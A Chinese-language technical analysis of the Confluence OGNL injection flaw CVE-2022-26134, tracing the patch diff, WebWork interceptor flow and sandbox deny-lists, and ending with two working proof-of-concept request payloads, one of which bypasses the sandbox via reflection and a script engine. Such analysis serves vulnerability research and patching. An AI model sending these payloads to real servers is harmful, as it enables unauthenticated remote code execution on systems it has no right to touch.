confluence-CVE-2022-26134漏洞分析
漏洞背景
官方鏈接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
| Summary | CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center |
|---|---|
| Advisory Release Date | 02 Jun 2022 1 PM PDT (Pacific Time, -7 hours) |
| Affected Products | ConfluenceConfluence ServerConfluence Data Center |
| Affected Versions | All supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected. |
| Fixed Versions | 7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 7.18.1 |
所有版本的 Confluence 和 DataCenter 都會受影響
臨時修復方式:
7.15.0-7.18.0: 替換 xwork-1.0.3-atlassian-10.jar文件6.0.0-7.14.2: 替換以下文件 xwork-1.0.3-atlassian-10.jar webwork-2.1.5-atlassian-4.jar CachedConfigurationProvider.class
代碼分析
diff 補丁
對xwork-1.0.3-atlassian-10.jar和低版本進行反編譯 diff

區(qū)別在于將
finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack())
finalActionName = TextParseUtil.translateVariables(this.actionName, stack))
修改為
finalNamespace = this.namespace,
finalActionName = this.actionName
少了TextParseUtil.translateVariables()的流程
該函數(shù)處理調用了
Object o = OgnlValueStack.findValue(g);
...
Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
較為明顯的ognl表達式注入,那我們來看一下具體的觸發(fā)流程。
WebWork 框架分析
Confluence 使用 WebWork 框架,框架調用流轉圖, 整個 HTTP 請求邏輯是隨著這個框架處理流程來的。
客戶發(fā)起 HTTP 流程訪問 按照 servlet 規(guī)范,先由 filter 進行處理,然后由 WebWork 核心控制器 ServletDispatcher進行處理WebWork 根據(jù) xwork.xml配置文件 來處理請求:在配置文件中定義路由對應的攔截器,業(yè)務邏輯,業(yè)務邏輯響應等部分先依次調用攔截器(before),然后再由業(yè)務邏輯處理 根據(jù)業(yè)務邏輯返回的響應類型對響應進行渲染 依次調用攔截器(after),然后將響應輸出

confluence 在web.xml中引入WebWork框架配置
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>com.atlassian.confluence.servlet.ConfluenceServletDispatcher</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.action</url-pattern>
</servlet-mapping>
ConfluenceServletDispatcher基類com.opensymphony.webwork.dispatcher.ServletDispatcher
框架配置說明文件:xwork.xml文件,在 jar 包confluence-版本號.jar中
對配置文件進行說明
一個Demo ??
action 映射邏輯,指定 url 映射的處理類

請求如下的url/person/jasperList.action
package 命名空間 name: person, namespaceperson, 對應一級路徑action 最小的處理單元,name: jasperList, 對應二級路徑,class 處理類:com.opensymphony.webwork.showcase.jasper.JasperActionresult 響應結果是枚舉類型 "success", 響應類型為 jasperparam 參數(shù):參數(shù)名和參數(shù)類型
再舉一個例子 login.action
confluence 7.4.10 版本 xwork.xml 文件,default命名空間下的login action,訪問路徑/login.action

package 命名空間 name: default,在未匹配到命名空間的情況下映射到該命名空間處理。(注意此刻一級目錄為空)action name: login, class 處理類:com.atlassian.confluence.user.actions.LoginAction, 處理方法doDefaultinterceptor-ref:validatingStack,引用攔截器validatingStack響應結果input, 類型為 velocity,使用login.vm進行渲染
interceptor-ref配置的攔截器集合validatingStack,其中又引用了defaultStack,captcha,validator,workflow,profiling等攔截器, 攔截器集合是可以進行嵌套的。
<interceptor-stack name="validatingStack">
<interceptor-ref name="defaultStack"/>
<!--Must come after pageAware and spaceAware, as the view rendered in a response to a failed validation may access properties of page and/or space objects.-->
<interceptor-ref name="captcha"/>
<interceptor-ref name="validator"/>
<interceptor-ref name="workflow"/>
<interceptor-ref name="profiling">
<param name="location">After validatingStack</param>
</interceptor-ref>
</interceptor-stack>
再再舉一個例子 index.action
在default命名空間下,默認訪問的 action 為index,訪問根目錄會使用index進行響應
<action name="index" class="com.atlassian.confluence.core.actions.IndexAction">
<interceptor-ref name="defaultStack"/>
<result name="redirect" type="redirect">${location}</result>
<result name="forward" type="dispatcher">${location}</result>
</action>
配置了defaultStack進行處理
看一下defaultStack攔截器的配置,注意攔截器是按照配置依次調用的,存在順序。
<interceptor-stack name="defaultStack">
<interceptor-ref name="profiling">
<param name="location">Before defaultStack</param>
</interceptor-ref>
<interceptor-ref name="securityHeaders"/>
<interceptor-ref name="setupIncomplete"/>
<interceptor-ref name="transaction"/>
<interceptor-ref name="params"/>
<interceptor-ref name="autowire"/>
<interceptor-ref name="lastModified"/>
<interceptor-ref name="servlet"/>
<interceptor-ref name="flashScope"/>
<interceptor-ref name="confluenceAccess"/>
<interceptor-ref name="spaceAware"/>
<interceptor-ref name="pageAware"/>
<interceptor-ref name="commentAware"/>
<interceptor-ref name="userAware"/>
<interceptor-ref name="prepare"/>
<!-- Must come after pageAware and spaceAware to make sure that pages and spaces are loaded-->
<!-- Must come before permissions as isPermitted might require some bootstrapping-->
<interceptor-ref name="bootstrapAware"/>
<interceptor-ref name="permissions"/>
<!-- It's a good idea to put this after the permissions check, in case you can determine the existence
of a space by whether the error page is themed! -->
<interceptor-ref name="themeContext"/>
<interceptor-ref name="webSudo"/>
<interceptor-ref name="httpMethodValidator"/>
<!--Must come after pageAware and spaceAware since at the moment, some implementations of ConfluenceActionSupport.getCancelResult(), do work against the database with pages and spaces.-->
<!--Also must come before captcha, else a form with captcha won't be cancellable. Also must come before the validator (as validation should be skipped on cancel)-->
<interceptor-ref name="cancel"/>
<interceptor-ref name="loggingContext"/>
<interceptor-ref name="eventPublisher"/>
<interceptor-ref name="messageHolder"/>
<interceptor-ref name="httpRequestStats"/>
<interceptor-ref name="licenseChecker"/>
<interceptor-ref name="xsrfToken"/>
<interceptor-ref name="profiling">
<param name="location">After defaultStack</param>
</interceptor-ref>
</interceptor-stack>
關注其中的confluenceAccess攔截器,該攔截器定義如下
<interceptor name="confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />

intercept 函數(shù)
如果!this.isAccessPermitted(actionInvocation)返回為否,那么調用actionInvocation.invoke(), 調用下一個 intercept,如果返回為真,也就是沒有權限,返回為notpermitted。
默認未授權訪問,即action=index時,是沒有權限的,此刻會響應notpermitted,result類型之一
如果授權會調用actionInvocation.invoke(),調用下一個攔截器,如果響應resultCode,會調用this.execuResult(), 大家可以回想一下 WebWork 的數(shù)據(jù)流圖。代碼邏輯如下

如果響應有權限,那么會遞歸調用actionInvocation.invoke(), 否則輸出 resultCode,進入 executeResult()。
接下來跟蹤調用棧,ActionChainResult#exec調用了TextParseUtil@translateVariables, 然后就快進到 ongl 表達式的執(zhí)行流程了

可知 namespace 是我們可控的 url 路徑參數(shù)

可以函數(shù)com.opensymphony.xwork.util.OgnlValueStack#findValue看到調用Ognl.getValue即可造成 ognl 代碼執(zhí)行

相應poc如下
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1
Host: 10.211.55.8:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB
Upgrade-Insecure-Requests: 1
繞沙箱
關注一下com.opensymphony.xwork.util.OgnlValueStack#findValue實現(xiàn)
官方說明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html
在 7.15 版本中添加,阻止對 java 特定類和特定包訪問,與https://struts.apache.org/security/#internal-security-mechanism相似
表達式經(jīng)過safeExpressionUtil.isSafeExpression判斷

com.opensymphony.xwork.util.SafeExpressionUtil沙箱類分析
關鍵配置
xwork.excludedClasses - a comma-separated list of excluded classes.
xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.
xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.
黑白名單列表
<constant name="xwork.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
java.lang.Thread,
sun.misc.Unsafe,
com.opensymphony.xwork.ActionContext
java.lang.Compiler,
java.lang.InheritableThreadLocal,
java.lang.Package,
java.lang.Process,
java.lang.RuntimePermission,
java.lang.SecurityManager,
java.lang.ThreadGroup,
java.lang.ThreadLocal,
javax.script.ScriptEngineManager,
javax.servlet.ServletContext,
javax.persistence.EntityManager,
org.apache.tomcat.InstanceManager,
org.springframework.context.ApplicationContext,
com.atlassian.applinks.api.ApplicationLinkRequestFactory,
com.atlassian.core.util.ClassLoaderUtils,
com.atlassian.core.util.ClassHelper" />
<constant name="xwork.excludedPackageNames"
value="
ognl,
java.io,
java.net,
java.nio,
javax,
freemarker.core,
freemarker.template,
freemarker.ext.jsp,
freemarker.ext.rhino,
sun.misc,
sun.reflect,
javassist,
org.apache.velocity,
org.objectweb.asm,
org.springframework.context,
com.opensymphony.xwork.util,
org.apache.tomcat,
org.apache.catalina.core,
org.wildfly.extension.undertow.deployment
java.lang.reflect,
com.atlassian.cache,
com.atlassian.confluence.util.http,
com.atlassian.failurecache,
com.atlassian.vcache,
com.atlassian.sal.api.net,
com.google.common.cache,
com.google.common.net,
com.hazelcast,java.jms,
java.rmi,
javax.management,
javax.naming,
org.apache.catalina.session,
org.apache.commons.httpclient,
org.apache.httpcomponents.httpclient,
org.apache.http.client,
org.ehcache,
com.google.common.reflect,
com.sun.jmx,com.sun.jna,
javax.xml,jdk.nashorn,
net.bytebuddy,
net.sf.cglib,org.apache.bcel,
org.javassist,org.ow2.asm,
sun.awt.shell,
sun.corba,
sun.invoke,
sun.launcher,
sun.management,
sun.misc,
sun.net,
sun.nio,
sun.print,
sun.reflect,
sun.rmi,
sun.security,
sun.tracing,
sun.tools.jar,
com.atlassian.activeobjects,
com.atlassian.hibernate,
java.sql,
javax.persistence,
javax.sql,
liquibase,
net.java.ao,
net.sf.hibernate,
com.atlassian.confluence.setup.bandana,
com.atlassian.filestore,
com.atlassian.media,
com.google.common.io,
java.util.jar,
java.util.zip,
org.apache.commons.io,
com.atlassian.confluence.impl.util.sandbox,
com.atlassian.confluence.util.io,
com.atlassian.confluence.util.sandbox,
com.atlassian.quartz,
com.atlassian.scheduler,
com.atlassian.utils.process,
com.atlassian.util.concurrent,
io.atlassian.util.concurrent,
java.util.concurrent,
org.apache.commons.exec,
org.springframework.expression.spel,
org.springframework.util.concurrent,
org.quartz,
oshi" />
<constant name="xwork.allowedClasses"
value="com.atlassian.confluence.util.GeneralUtil,
java.io.Serializable,
java.lang.reflect.Proxy,
net.sf.hibernate.proxy.HibernateProxy,
net.sf.cglib.proxy.Factory,
java.io.ObjectInputValidation,
net.java.ao.Entity,
net.java.ao.RawEntity,
net.java.ao.EntityProxyAccessor" />
沙箱核心邏輯,調用OgnlUtil.compile對表達式進行解析,對每一個 node compile 之后進行遞歸的安全判斷。
private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
return false;
}
if (this.isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;
}
if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
} else {
try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpression instanceof Node) {
if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
} else {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
}
}
} catch (RuntimeException | OgnlException var4) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of OGNL expression", var4);
}
}
}
return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}
通過字符串拼接的方式繞過 node 類型為ASTconstant判斷邏輯
private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
String nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;
} else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
return true;
} else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
return true;
} else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
return true;
} else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
return true;
} else {
for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
Node childNode = node.jjtGetChild(i);
if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
return true;
}
}
return false;
}
}
兩個關鍵點
利用反射構造惡意對象及實例 利用字符串拼接繞過常量匹配
對應 poc 如下
/%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/ 